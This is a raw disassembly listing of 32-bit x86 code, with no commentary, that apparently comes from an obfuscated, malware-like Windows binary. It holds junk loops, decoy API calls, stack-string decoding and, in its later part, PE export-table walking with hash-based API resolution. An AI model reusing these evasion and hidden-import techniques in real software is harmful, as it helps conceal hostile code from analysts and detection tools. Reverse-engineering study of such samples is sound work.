and dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1c8], eax
je 0x10027393
mov dword [ebp - 0x1cc], 1
jmp 0x1002739a
and dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x1d4], 0x6924
mov dword [ebp - 0x424], str.uwphjbn_tndrbman_rymvw
cmp dword [ebp - 0x1d4], 0x6a2a
jle 0x1002743d
and dword [ebp - 0x16c], 0
jmp 0x100273dc
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x1e54
jge 0x1002743d
and dword [ebp - 0x10c], 0
jmp 0x100273fe
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x62e6
jge 0x1002743b
mov eax, dword [ebp - 0x16c]
or eax, dword [ebp - 0x10c]
cdq
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], edx
push dword [ebp - 0x37c]
push dword [ebp - 0x380]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x100273f1
jmp 0x100273cf
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x1d4], 0x66ba
jge 0x10027460
mov edx, dword [ebp - 0x424]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x1002747c
or dword [ebp - 4], 0xffffffff
jmp 0x10027486
mov dword [ebp - 0x64], 0x4768c0aa
mov dword [ebp - 0x1a4], 0xfffffff8
mov dword [ebp - 0x4c0], 0xffffffff
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp - 0x60]
test eax, eax
je 0x100274bc
push 0
push 0x1765
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
cmp dword [ebp - 0x64], 0
jne 0x100274e4
cmp dword [ebp - 0x64], 0
jne 0x100274e4
mov dword [ebp - 0x1a4], 0x8f3c
cmp dword [ebp - 0x1a4], 0
jne 0x100274e4
and dword [ebp - 0x1ec], 0
jmp 0x100274ee
mov dword [ebp - 0x1ec], 1
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x64], 0
jne 0x1002750c
cmp dword [ebp - 0x64], 0
jne 0x1002750c
and dword [ebp - 0x1dc], 0
jmp 0x10027516
mov dword [ebp - 0x1dc], 1
cmp dword [ebp - 0x1dc], 0xfffffffd
jg 0x1002752b
mov dword [ebp - 0x1e4], 1
jmp 0x10027532
and dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x1e4], eax
je 0x10027552
mov eax, 0xfffc
test eax, eax
je 0x10027552
mov dword [ebp - 0x1f4], 1
jmp 0x10027559
and dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x1f4]
add eax, 5
je 0x10027607
push 1
lea ecx, [ebp - 0x46c]
call fcn.10001647
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x15c], 0
jmp 0x1002759c
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x100275be
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x46c]
call fcn.100016c0
mov dword [eax], 0xa1654207
jmp 0x1002758f
push 0
lea ecx, [ebp - 0x46c]
call fcn.100016c0
mov esi, eax
push 0
lea ecx, [ebp - 0x46c]
call fcn.100016c0
mov eax, dword [eax]
mov dword [esi], eax
mov byte [ebp - 0x52], 0
movzx eax, byte [ebp - 0x52]
test eax, eax
je 0x100275f6
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x46c]
call fcn.100016a4
jmp 0x1002761d
mov dword [ebp - 0x390], 0xdcee
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x1a4], eax
cmp dword [0x1008042c], 0
jne 0x10027b93
mov dword [ebp - 0x400], 0xc7cf
lea eax, [ebp - 0x400]
push eax
call fcn.1002059e
pop ecx
mov dword [ebp - 0x204], eax
mov byte [ebp - 0xa0], 0xb
mov byte [ebp - 0x9f], 0x41
mov byte [ebp - 0x9e], 5
mov byte [ebp - 0x9d], 0xa
mov byte [ebp - 0x9c], 6
mov byte [ebp - 0x9b], 1
mov byte [ebp - 0x9a], 7
mov byte [ebp - 0x99], 0x1a
mov byte [ebp - 0x98], 2
mov byte [ebp - 0x97], 0x1d
mov byte [ebp - 0x96], 1
mov byte [ebp - 0x95], 0x11
mov byte [ebp - 0x94], 0xa
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 8
mov byte [ebp - 0x91], 0x2a
mov byte [ebp - 0x90], 0
mov byte [ebp - 0x8f], 0x28
mov byte [ebp - 0x8e], 0xc
mov byte [ebp - 0x8d], 0x10
mov byte [ebp - 0x8c], 4
mov byte [ebp - 0x8b], 0x32
mov byte [ebp - 0x8a], 3
mov byte [ebp - 0x89], 0x33
mov byte [ebp - 0x88], 1
mov byte [ebp - 0x87], 0x3f
mov byte [ebp - 0x86], 9
mov byte [ebp - 0x85], 0x38
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa0]
and eax, 0x39
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa0]
or ecx, 0x39
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa0]
mov byte [ebp + eax - 0x438], cl
mov dword [ebp - 0x20], 2
and dword [ebp - 0x114], 0
jmp 0x1002775c
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1c
jae 0x10027812
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100277a6
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa0]
inc eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa0]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x10027754
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0xa2]
movsx eax, byte [ebp + eax - 0x438]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x9f]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0xa2]
movsx eax, byte [ebp + eax - 0x438]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x9f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa0]
mov byte [ebp + eax - 0x438], dl
and dword [ebp - 0x114], 0
jmp 0x10027754
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x438], 0
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x540]
call fcn.1002ac47
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 4], 0xe
mov edx, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x43c]
call fcn.100175db
mov dword [0x1008042c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x540]
call fcn.1002ac76
and dword [ebp - 0x17c], 0
jmp 0x10027886
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xe
jae 0x1002789f
mov eax, dword [ebp - 0x17c]
mov byte [ebp + eax - 0x438], 0
jmp 0x10027879
mov byte [ebp - 0xbc], 9
mov byte [ebp - 0xbb], 0x98
mov byte [ebp - 0xba], 0xa
mov byte [ebp - 0xb9], 6
mov byte [ebp - 0xb8], 8
mov byte [ebp - 0xb7], 0xa
mov byte [ebp - 0xb6], 2
mov byte [ebp - 0xb5], 0xa
mov byte [ebp - 0xb4], 0
mov byte [ebp - 0xb3], 0x26
mov byte [ebp - 0xb2], 1
mov byte [ebp - 0xb1], 0x31
mov byte [ebp - 0xb0], 5
mov byte [ebp - 0xaf], 0x17
mov byte [ebp - 0xae], 7
mov byte [ebp - 0xad], 0x17
mov byte [ebp - 0xac], 0xb
mov byte [ebp - 0xab], 1
mov byte [ebp - 0xaa], 4
mov byte [ebp - 0xa9], 7
mov byte [ebp - 0xa8], 0xd
mov byte [ebp - 0xa7], 0x23
mov byte [ebp - 0xa6], 3
mov byte [ebp - 0xa5], 0x36
mov byte [ebp - 0xa4], 6
mov byte [ebp - 0xa3], 0x31
mov byte [ebp - 0xa2], 0xc
mov byte [ebp - 0xa1], 0x23
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xbc]
and eax, 0xfb
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xbc]
or ecx, 0xfb
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xbc]
mov byte [ebp + eax - 0x454], cl
mov dword [ebp - 0x34], 2
and dword [ebp - 0x1fc], 0
jmp 0x100279b9
mov eax, dword [ebp - 0x34]
inc eax
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1c
jae 0x10027a21
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1fc]
movzx eax, byte [ebp + eax - 0xbe]
movsx eax, byte [ebp + eax - 0x454]
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ebp + ecx - 0xbb]
and ecx, eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1fc]
movzx eax, byte [ebp + eax - 0xbe]
movsx eax, byte [ebp + eax - 0x454]
mov edx, dword [ebp - 0x34]
movzx edx, byte [ebp + edx - 0xbb]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0xbc]
mov byte [ebp + eax - 0x454], dl
jmp 0x100279b1
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x454], 0
mov dword [ebp - 0x20c], 0x152
mov dword [ebp - 0x3b4], str.dff_cggvxa_zcpxvni_leqnngp_ucmswdhr_iipl_nbplpp_fhyjco_zsdnhimou_aznfwofau_rdu
cmp dword [ebp - 0x20c], 0x258
jle 0x10027ace
and dword [ebp - 0x11c], 0
jmp 0x10027a65
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x53aa
jge 0x10027ac6
and dword [ebp - 0x140], 0
jmp 0x10027a87
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x5aaa
jge 0x10027ac4
mov eax, dword [ebp - 0x11c]
xor eax, dword [ebp - 0x140]
cdq
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], edx
push dword [ebp - 0x388]
push dword [ebp - 0x38c]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x10027a7a
jmp 0x10027a58
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x570]
call fcn.1002ac47
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x408], eax
mov dword [ebp - 4], 0xf
mov edx, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x408]
call fcn.100175db
mov dword [0x10080478], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x570]
call fcn.1002ac76
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x20c], 0x6c
jge 0x10027b3e
mov edx, dword [ebp - 0x3b4]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x10027b5a
or dword [ebp - 4], 0xffffffff
jmp 0x10027b64
and dword [ebp - 0x124], 0
jmp 0x10027b7a
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xf
jae 0x10027b93
mov eax, dword [ebp - 0x124]
mov byte [ebp + eax - 0x454], 0
jmp 0x10027b6d
mov eax, dword [0x1008042c]
cmp eax, dword [ebp - 0x100]
je 0x10027bad
mov eax, dword [0x10080478]
cmp eax, dword [ebp - 0x100]
jne 0x10027bc5
mov ecx, dword [ebp + 0xc]
call fcn.1000163c
push eax
push dword [ebp + 8]
call fcn.100205c3
pop ecx
pop ecx
jmp 0x10028bb1
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x214], 0x4e8
jge 0x10027be4
push dword [ebp - 0x3d0]
call fcn.10049280
pop ecx
jmp 0x10027c00
or dword [ebp - 4], 0xffffffff
jmp 0x10027c0a
mov dword [ebp - 0x4a4], 0x2e0cf572
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x10027c34
push 0x23f5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov byte [ebp - 0x54], 0
movzx eax, byte [ebp - 0x54]
test eax, eax
je 0x10027d67
mov dword [ebp - 0x21c], 0x5233
mov dword [ebp - 0x3c0], str.julso_shuppmsns_mahiada_jvmux_hwvqxrjq_uyqhmiv_aothvu_mqrljx_udphvgjcz_ral_fuxrrm_yrapsadrn
cmp dword [ebp - 0x21c], 0x54e0
jle 0x10027d13
and dword [ebp - 0x148], 0
jmp 0x10027c7e
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x6edb
jge 0x10027d13
and dword [ebp - 0x12c], 0
jmp 0x10027ca4
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x2404
jge 0x10027d0e
and dword [ebp - 0x150], 0
jmp 0x10027cc6
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xeac
jge 0x10027d0c
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x150]
shl eax, cl
cdq
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], edx
push dword [ebp - 0x394]
push dword [ebp - 0x398]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x10027cb9
jmp 0x10027c97
jmp 0x10027c71
push 0x224f
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x21c], 0x4ead
jge 0x10027d41
mov edx, dword [ebp - 0x3c0]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x10027d5d
or dword [ebp - 4], 0xffffffff
jmp 0x10027d67
mov dword [ebp - 0x224], 0x3c0
mov dword [ebp - 0x3d4], str.dvpnmikxx_ntb_ncfd
cmp dword [ebp - 0x224], 0x6f6
jle 0x10027e16
push 0
push 0x1337
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
and dword [ebp - 0x134], 0
jmp 0x10027db5
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x84a
jge 0x10027e16
and dword [ebp - 0x158], 0
jmp 0x10027dd7
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x4ed
jge 0x10027e14
mov eax, dword [ebp - 0x134]
or eax, dword [ebp - 0x158]
cdq
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], edx
push dword [ebp - 0x3a0]
push dword [ebp - 0x3a4]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x10027dca
jmp 0x10027da8
mov eax, dword [ebp + 8]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x224], 0x31b
jge 0x10027e42
mov edx, dword [ebp - 0x3d4]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x10027e5e
or dword [ebp - 4], 0xffffffff
jmp 0x10027e68
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x234], 0xbf5cd53b
mov dword [ebp - 0x3e4], 0x7a00f47a
mov dword [ebp - 0x22c], 0x605
mov dword [ebp - 0x3dc], str.naojaomy_anuduf_mihhiz_mtwop_vmvipe_mfvsmajn_hnbpnk_tarwpjut_nbbpzi_zpvkg_dvwm_nacnlcno_ejeh_ycymqsoi
cmp dword [ebp - 0x22c], 0x76c
jle 0x10027fb0
and dword [ebp - 0xd0], 0
jmp 0x10027ebd
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x34ea
jge 0x10027fb0
and dword [ebp - 0xd8], 0
jmp 0x10027ee3
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x15e2
jge 0x10027fab
and dword [ebp - 0xc4], 0
jmp 0x10027f09
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x1510
jge 0x10027fa6
and dword [ebp - 0xc8], 0
jmp 0x10027f2f
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x1e33
jge 0x10027fa1
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xd0]
or ecx, dword [ebp - 0xd8]
or eax, ecx
cdq
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], edx
push dword [ebp - 0x3ac]
push dword [ebp - 0x3b0]
lea ecx, [ebp - 0x5a0]
call fcn.10001351
pop ecx
pop ecx
mov dword [ebp - 0x3cc], eax
mov ecx, dword [ebp - 0x3cc]
call fcn.1000163c
push eax
call fcn.10049280
pop ecx
lea ecx, [ebp - 0x5a0]
call fcn.10001632
jmp 0x10027f22
jmp 0x10027efc
jmp 0x10027ed6
jmp 0x10027eb0
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x10027fc4
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x22c], 0x41b
jge 0x10027fe3
push dword [ebp - 0x3dc]
call fcn.10049280
pop ecx
jmp 0x10027fff
or dword [ebp - 4], 0xffffffff
jmp 0x10028009
mov dword [ebp - 0x78], 0
jmp 0x10028019
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xfffffff9
jl 0x10028036
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x3e4], eax
jmp 0x10028012
cmp dword [ebp - 0xe0], 0
je 0x1002886e
mov eax, dword [ebp - 0xe0]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1002886e
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x80]
cmp dword [eax], 0x4550
jne 0x1002886e
mov eax, dword [ebp - 0x80]
cmp dword [eax + 0x74], 0
jbe 0x1002886e
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x80]
cmp dword [ecx + eax + 0x78], 0
je 0x1002886e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x68], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x68]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x38], edx
mov eax, 0xffff
mov word [ebp - 0x30], ax
or dword [ebp - 0x74], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x100280dd
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x100280d8
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x30], ax
jmp 0x100283b7
mov eax, dword [0x1008047c]
and eax, 1
jne 0x10028114
mov eax, dword [0x1008047c]
or eax, 1
mov dword [0x1008047c], eax
mov dword [ebp - 4], 0x1a
mov ecx, 0x100804d0
call fcn.1002ace6
push 0x10063fe5
call fcn.10049256
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10080429]
test eax, eax
je 0x1002817d
mov ecx, 0x100804d0
call fcn.1002adab
movzx eax, al
test eax, eax
jne 0x1002817d
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x23c]
push eax
mov ecx, 0x100804d0
call fcn.1002adb4
lea eax, [ebp - 0x4b4]
push eax
mov ecx, 0x100804d0
call fcn.1002ad9d
push eax
lea ecx, [ebp - 0x23c]
call fcn.1002acd3
movzx eax, al
test eax, eax
je 0x1002817d
lea ecx, [ebp - 0x23c]
call fcn.1002ae22
mov eax, dword [eax + 4]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffff
jne 0x100283b7
mov ecx, 0x100804d0
call fcn.1002ae66
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x100804d0
call fcn.1002ae6a
mov dword [ebp - 0x254], 0x3ff1
mov dword [ebp - 0x410], str.qvmve_fdmdx_whjxi_aurcnmlz_erggz_drunyw_uxe_ghti_zdzrml_zhtmbnzo_dar_oelbvxu
cmp dword [ebp - 0x254], 0x4021
jle 0x1002829b
and dword [ebp - 0xe8], 0
jmp 0x100281dc
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x1610
jge 0x1002829b
and dword [ebp - 0xf0], 0
jmp 0x10028202
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x66d7
jge 0x10028296
and dword [ebp - 0xf8], 0
jmp 0x10028228
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x28dc
jge 0x10028291
mov eax, dword [ebp - 0xe8]
xor eax, dword [ebp - 0xf0]
xor eax, dword [ebp - 0xf8]
cdq
mov dword [ebp - 0x3bc], eax
mov dword [ebp - 0x3b8], edx
push dword [ebp - 0x3b8]
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0x558]
call fcn.10001351
pop ecx
pop ecx
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x3d8]
call fcn.1000163c
push eax
call fcn.10049280
pop ecx
lea ecx, [ebp - 0x558]
call fcn.10001632
jmp 0x1002821b
jmp 0x100281f5
jmp 0x100281cf
and dword [ebp - 0x70], 0
jmp 0x100282a8
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [eax + 0x18]
jae 0x10028372
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x70]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x1002836d
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x520]
call fcn.1002ac47
mov dword [ebp - 4], 0x1b
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x520]
call fcn.100175db
mov dword [ebp - 0x24c], eax
movzx eax, byte [0x10080429]
test eax, eax
je 0x10028327
mov ecx, 0x100804d0
call fcn.1002adab
movzx eax, al
test eax, eax
jne 0x10028344
lea eax, [ebp - 0x24c]
push eax
mov ecx, 0x100804d0
call fcn.1002ae28
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov byte [0x10080429], 1
cmp dword [ebp - 0x74], 0xffffffff
jne 0x1002835e
mov eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x100]
jne 0x1002835e
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x74], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x520]
call fcn.1002ac76
jmp 0x100282a1
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x254], 0x3d77
jge 0x10028391
push dword [ebp - 0x410]
call fcn.10049280
pop ecx
jmp 0x100283ad
or dword [ebp - 4], 0xffffffff
jmp 0x100283b7
cmp dword [ebp + 0x10], 0
jne 0x100283d7
cmp dword [ebp - 0x74], 0xffffffff
je 0x100283d7
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x74]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x30], ax
movzx eax, word [ebp - 0x30]
cmp eax, 0xffff
je 0x1002886e
movzx eax, word [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x68]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x38]
jbe 0x10028866
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x3c], edx
jae 0x10028866
mov eax, dword [0x1008047c]
and eax, 2
jne 0x10028461
mov eax, dword [0x1008047c]
or eax, 2
mov dword [0x1008047c], eax
mov dword [ebp - 4], 0x1e
push 0x928f
call fcn.1002f042
pop ecx
mov byte [0x100804a8], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x50], 1
mov byte [ebp - 0x4f], 0xee
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 8
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x62
mov byte [ebp - 0x4a], 0xaa
mov byte [ebp - 0x49], 0x56
mov byte [ebp - 0x48], 2
mov byte [ebp - 0x47], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x50]
and eax, 0x82
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x50]
or ecx, 0x82
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x50]
mov byte [ebp + eax - 0x6c], cl
mov dword [ebp - 0x28], 2
and dword [ebp - 0x108], 0
jmp 0x100284d3
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xa
jae 0x10028568
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x50]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10028514
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x50]
inc eax
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x50]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x100284cb
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x108]
movzx eax, byte [ebp + eax - 0x52]
movsx eax, byte [ebp + eax - 0x6c]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x4f]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x108]
movzx eax, byte [ebp + eax - 0x52]
movsx eax, byte [ebp + eax - 0x6c]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0x4f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x50]
mov byte [ebp + eax - 0x6c], dl
and dword [ebp - 0x108], 0
jmp 0x100284cb
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x6c], 0
mov eax, dword [0x1008047c]
and eax, 4
jne 0x100285ae
mov eax, dword [0x1008047c]
or eax, 4
mov dword [0x1008047c], eax
mov dword [ebp - 4], 0x1f
lea eax, [ebp - 0x6c]
push eax
mov ecx, 0x100804f0
call fcn.1002ac47
push 0x10063fd6
call fcn.10049256
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x110], 0
jmp 0x100285c4
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 4
jae 0x100285da
mov eax, dword [ebp - 0x110]
mov byte [ebp + eax - 0x6c], 0
jmp 0x100285b7
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x5c], eax
movsx eax, byte [0x100804a8]
mov ecx, dword [ebp - 0x5c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x100285fa
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
jmp 0x100285e0
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
push dword [ebp - 0x5c]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x4d8]
call fcn.1002bf95
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x25c], 0x2eb
mov dword [ebp - 0x444], str.csiirwio_qcfoz_stya_haqliume_ajpnxrfqu
cmp dword [ebp - 0x25c], 0x4f4
jle 0x100286f2
push 0x1b08
push 0
